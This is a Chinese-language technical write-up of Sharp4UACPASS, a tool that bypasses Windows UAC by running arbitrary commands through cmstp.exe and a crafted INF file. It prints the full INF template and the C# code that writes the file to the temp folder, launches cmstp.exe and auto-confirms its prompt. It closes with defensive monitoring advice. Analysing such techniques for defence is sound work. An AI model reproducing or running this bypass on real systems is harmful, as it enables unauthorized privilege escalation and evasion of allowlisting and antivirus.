Sharp4UACPASS:一款通过调用CMSTP进程绕过UAC的工具
字数 1564 2025-08-22 12:23:24
Sharp4UACPASS:通过CMSTP进程绕过UAC的技术分析与实现
1. 工具概述
Sharp4UACPASS是一款利用Windows系统自带程序cmstp.exe实现UAC(用户账户控制)绕过的工具。该工具通过精心构造的INF配置文件,利用微软签名的合法二进制文件执行任意命令,具有以下特点:
- 使用微软签名程序cmstp.exe作为载体
- 通过自定义INF文件实现命令执行
- 可绕过防病毒和应用白名单监控
- 适用于渗透测试和红队活动
2. CMSTP技术原理
2.1 CMSTP简介
cmstp.exe是Windows系统中用于安装网络连接配置文件的合法程序,主要用途包括:
- 部署VPN配置
- 安装网络连接文件
- 典型命令格式:
cmstp.exe /au "C:\path\to\vpn.inf"
2.2 INF文件结构分析
INF文件是Windows安装配置文件,Sharp4UACPASS利用其特定结构实现命令执行:
[version]部分
[version]
Signature=$chicago$
AdvancedINF=2.5
Signature=$chicago$:标准INF文件签名,表示兼容WindowsAdvancedINF=2.5:声明使用的高级INF格式版本
[DefaultInstall]部分
[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection
CustomDestination:指向自定义安装位置的逻辑节点RunPreSetupCommands:指定安装前执行的命令节点
[CustInstDestSectionAllUsers]部分
[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
49000,49001:逻辑标识符7:表示共享目录的ID值
[AllUSer_LDIDSection]部分
[AllUSer_LDIDSection]
"HKLM", "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE", "ProfileInstallPath", "%UnexpectedError%", ""
- 定义注册表修改操作
- 使用合法文件CMMGR32.EXE作为掩护
[RunPreSetupCommandsSection]部分
[RunPreSetupCommandsSection]
C:\Windows\System32\cmd.exe
taskkill /IM cmstp.exe /F
- 执行任意命令的关键部分
- 最后终止cmstp.exe进程释放资源
3. 工具实现细节
3.1 INF模板定义
工具内部定义了INF文件模板字符串:
public static string InfData = "[version]\nSignature=$chicago$\nAdvancedINF=2.5\n \n[DefaultInstall]\nCustomDestination=CustInstDestSectionAllUsers\nRunPreSetupCommands=RunPreSetupCommandsSection\n \n[RunPreSetupCommandsSection]\nREPLACE_COMMAND_LINE\ntaskkill /IM cmstp.exe /F\n \n[CustInstDestSectionAllUsers]\n49000,49001=AllUSer_LDIDSection, 7\n \n[AllUSer_LDIDSection]\n\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%n \n[Strings]\nServiceName=\"VPN\"\nShortSvcName=\"VPN\"\n \n";
关键点:
REPLACE_COMMAND_LINE为占位符,将被实际命令替换- 包含完整的INF文件结构
3.2 INF文件生成方法
SetInfFile方法负责动态生成INF文件:
public static string SetInfFile(string CommandToExecute)
{
string value = Path.GetRandomFileName().Split(new char[] { Convert.ToChar(".") })[0];
string value2 = "C:\\windows\\temp";
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(value2);
stringBuilder.Append("\\");
stringBuilder.Append(value);
stringBuilder.Append(".inf");
StringBuilder stringBuilder2 = new StringBuilder(CMSTPBypass.InfData);
stringBuilder2.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
File.WriteAllText(stringBuilder.ToString(), stringBuilder2.ToString());
return stringBuilder.ToString();
}
特点:
- 随机生成INF文件名
- 文件保存在
C:\windows\temp\目录 - 替换
REPLACE_COMMAND_LINE为实际命令
3.3 命令执行方法
Execute方法实现整个绕过流程:
public static bool Execute(string CommandToExecute)
{
if (!File.Exists(CMSTPBypass.BinaryPath))
{
return false;
}
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(CMSTPBypass.SetInfFile(CommandToExecute));
Process.Start(new ProcessStartInfo(CMSTPBypass.BinaryPath)
{
Arguments = "/au " + stringBuilder.ToString(),
UseShellExecute = false
});
IntPtr value = 0;
value = IntPtr.Zero;
do
{
value = CMSTPBypass.SetWindowActive("cmstp");
} while (value == IntPtr.Zero);
SendKeys.SendWait("{ENTER}");
return true;
}
执行流程:
- 检查cmstp.exe是否存在
- 生成包含指定命令的INF文件
- 以
/au参数启动cmstp.exe - 等待cmstp窗口激活
- 模拟回车键确认操作
4. 防御建议
针对此类攻击,建议采取以下防御措施:
-
限制cmstp.exe执行:
- 通过AppLocker或WDAC限制cmstp.exe执行
- 监控cmstp.exe的异常调用
-
INF文件监控:
- 监控临时目录下的INF文件创建
- 分析INF文件内容是否包含可疑命令
-
权限管理:
- 最小权限原则,避免日常使用管理员账户
- 启用UAC最高级别设置
-
进程行为监控:
- 监控cmstp.exe启动子进程的行为
- 特别关注cmstp.exe后接cmd.exe的调用链
-
补丁与更新:
- 及时安装Windows安全更新
- 关注微软相关安全公告
5. 总结
Sharp4UACPASS工具利用Windows系统自带程序cmstp.exe和INF配置文件的特性,实现了隐蔽的UAC绕过。这种技术具有以下优势:
- 使用微软签名程序,绕过白名单检测
- 不依赖漏洞,利用合法功能实现攻击
- 执行过程相对隐蔽,难以被传统AV检测
理解这种技术的原理和实现方式,对于蓝队防御和红队攻击都具有重要意义。防御方可以针对性地加强监控和防护,攻击方则可以在合规测试中验证系统安全性。